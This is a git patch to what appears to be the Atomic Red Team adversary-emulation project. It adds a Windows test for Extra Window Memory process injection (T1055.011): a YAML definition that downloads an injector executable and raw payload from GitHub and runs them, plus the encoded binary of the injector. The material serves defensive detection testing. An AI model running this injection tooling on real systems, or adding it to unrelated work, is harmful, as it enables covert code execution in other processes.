From 99e7f006f1d2b78d2ac4695d90135fee90acecd5 Mon Sep 17 00:00:00 2001 From: socketz Date: Tue, 3 Oct 2023 13:05:41 +0200 Subject: [PATCH] T1055.011 - Process Injection: Extra Window Memory Injection (#2539) * Updated .gitignore with more files to be ignored * Working T1055.011 x64 payload. WIP x86 * Fixed a bug executing from Invoke-AtomicTest. x86 WIP * Update T1055.011.yaml Removed autogenerated_guid --------- Co-authored-by: Hare Sudhan --- .gitignore | 88 + atomics/T1055.011/T1055.011.yaml | 37 + atomics/T1055.011/bin/T1055.011_x64.exe | Bin 0 -> 141312 bytes atomics/T1055.011/bin/T1055.011_x86.exe | Bin 0 -> 114176 bytes atomics/T1055.011/bin/payload.exe_x64.bin | Bin 0 -> 344 bytes atomics/T1055.011/bin/payload.exe_x86.bin | Bin 0 -> 262 bytes atomics/T1055.011/bin/xbin.exe | Bin 0 -> 121344 bytes atomics/T1055.011/src/build_x64.bat | 21 + atomics/T1055.011/src/build_x86.bat | 21 + atomics/T1055.011/src/ewm.c | 156 + atomics/T1055.011/src/ewm.h | 12 + atomics/T1055.011/src/extrabytes_x64.txt | 4 + atomics/T1055.011/src/extrabytes_x86.txt | 4 + atomics/T1055.011/src/ntlib/ntddk.h | 4659 +++++++++++++++++++++ atomics/T1055.011/src/ntlib/nttpp.h | 187 + atomics/T1055.011/src/ntlib/util.h | 476 +++ atomics/T1055.011/src/ntlib/x64/ntdll.lib | Bin 0 -> 304568 bytes atomics/T1055.011/src/ntlib/x86/ntdll.lib | Bin 0 -> 383760 bytes atomics/T1055.011/src/payload.c | 168 + atomics/T1055.011/src/vsdevcmd_x64.bat | 2 + atomics/T1055.011/src/vsdevcmd_x86.bat | 2 + atomics/T1055.011/src/xbin.cpp | 269 ++ 22 files changed, 6106 insertions(+) create mode 100644 atomics/T1055.011/T1055.011.yaml create mode 100644 atomics/T1055.011/bin/T1055.011_x64.exe create mode 100644 atomics/T1055.011/bin/T1055.011_x86.exe create mode 100644 atomics/T1055.011/bin/payload.exe_x64.bin create mode 100644 atomics/T1055.011/bin/payload.exe_x86.bin create mode 100644 atomics/T1055.011/bin/xbin.exe create mode 100644 atomics/T1055.011/src/build_x64.bat create mode 100644 atomics/T1055.011/src/build_x86.bat create mode 100644 atomics/T1055.011/src/ewm.c create mode 100644 atomics/T1055.011/src/ewm.h create mode 100644 atomics/T1055.011/src/extrabytes_x64.txt create mode 100644 atomics/T1055.011/src/extrabytes_x86.txt create mode 100644 atomics/T1055.011/src/ntlib/ntddk.h create mode 100644 atomics/T1055.011/src/ntlib/nttpp.h create mode 100644 atomics/T1055.011/src/ntlib/util.h create mode 100644 atomics/T1055.011/src/ntlib/x64/ntdll.lib create mode 100644 atomics/T1055.011/src/ntlib/x86/ntdll.lib create mode 100644 atomics/T1055.011/src/payload.c create mode 100644 atomics/T1055.011/src/vsdevcmd_x64.bat create mode 100644 atomics/T1055.011/src/vsdevcmd_x86.bat create mode 100644 atomics/T1055.011/src/xbin.cpp diff --git a/.gitignore b/.gitignore index c86d1c762c..aeeff8d6ef 100644 --- a/.gitignore +++ b/.gitignore @@ -61,3 +61,91 @@ terraform.rc # The ExternalPayloads folder ExternalPayloads + +# Visual Studio 2015/2017 cache/options directory +.vs/ + +# .NET Core +project.lock.json +project.fragment.lock.json +artifacts/ + +# ASP.NET Scaffolding +ScaffoldingReadMe.txt + +# StyleCop +StyleCopReport.xml + +# Files built by Visual Studio +*_i.c +*_p.c +*_h.h +*.ilk +*.meta +*.obj +*.iobj +*.pch +*.pdb +*.ipdb +*.pgc +*.pgd +*.rsp +*.sbr +*.tlb +*.tli +*.tlh +*.tmp +*.tmp_proj +*_wpftmp.csproj +*.log +*.tlog +*.vspscc +*.vssscc +.builds +*.pidb +*.svclog +*.scc + +# Visual C++ cache files +ipch/ +*.aps +*.ncb +*.opendb +*.opensdf +*.sdf +*.cachefile +*.VC.db +*.VC.VC.opendb + +# Visual Studio profiler +*.psess +*.vsp +*.vspx +*.sap + +# Visual Studio Trace Files +*.e2e + +# Visual Studio cache files +# files ending in .cache can be ignored +*.[Cc]ache +# but keep track of directories ending in .cache +!?*.[Cc]ache/ + +# Others +ClientBin/ +~$* +*~ +*.dbmdl +*.dbproj.schemaview +*.jfm +*.pfx +*.publishsettings +orleans.codegen.cs + +# Node.js +node_modules/ + +# Python +__pycache__/ +*.pyc diff --git a/atomics/T1055.011/T1055.011.yaml b/atomics/T1055.011/T1055.011.yaml new file mode 100644 index 0000000000..089aff471b --- /dev/null +++ b/atomics/T1055.011/T1055.011.yaml @@ -0,0 +1,37 @@ +attack_technique: T1055.011 +display_name: "Process Injection: Extra Window Memory Injection" +atomic_tests: + - name: Process Injection via Extra Window Memory (EWM) x64 executable + description: Hooks functions of main process to inject a payload via Extra Window Memory (EWM) injection technique + supported_platforms: + - windows + input_arguments: + arch: + description: Architecture of payload + type: string + default: x64 + choices: + - x64 + - x86 + exe_binary: + description: PE binary for EWM injection + type: path + default: PathToAtomicsFolder\T1055.011\bin\T1055.011_#{arch}.exe + payload_file: + description: raw payload to inject + type: path + default: PathToAtomicsFolder\T1055.011\bin\payload.exe_#{arch}.bin + dependency_executor_name: powershell + dependencies: + - description: "T1055.011x64.exe and payload must exist on disk at specified location (#{exe_binary} and #{payload_file})" + prereq_command: "if (Test-Path #{exe_binary}) {exit 0} else {exit 1}" + get_prereq_command: |- + New-Item -Type Directory (split-path #{exe_binary}) -ErrorAction ignore | Out-Null + Invoke-WebRequest "https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1055.011/bin/T1055.011_#{arch}.exe" -OutFile "#{exe_binary}" -UseBasicParsing + Invoke-WebRequest "https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1055.011/bin/payload.exe_#{arch}.bin" -OutFile "#{payload_file}" -UseBasicParsing + executor: + command: |- + #{exe_binary} + cleanup_command: 'Get-Process -Name Notepad -ErrorAction SilentlyContinue | Stop-Process -Force' + name: powershell + elevation_required: false diff --git a/atomics/T1055.011/bin/T1055.011_x64.exe b/atomics/T1055.011/bin/T1055.011_x64.exe new file mode 100644 index 0000000000000000000000000000000000000000..6f5be303033a90c90464f85f32dcf1abf092f3b4 GIT binary patch literal 141312 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 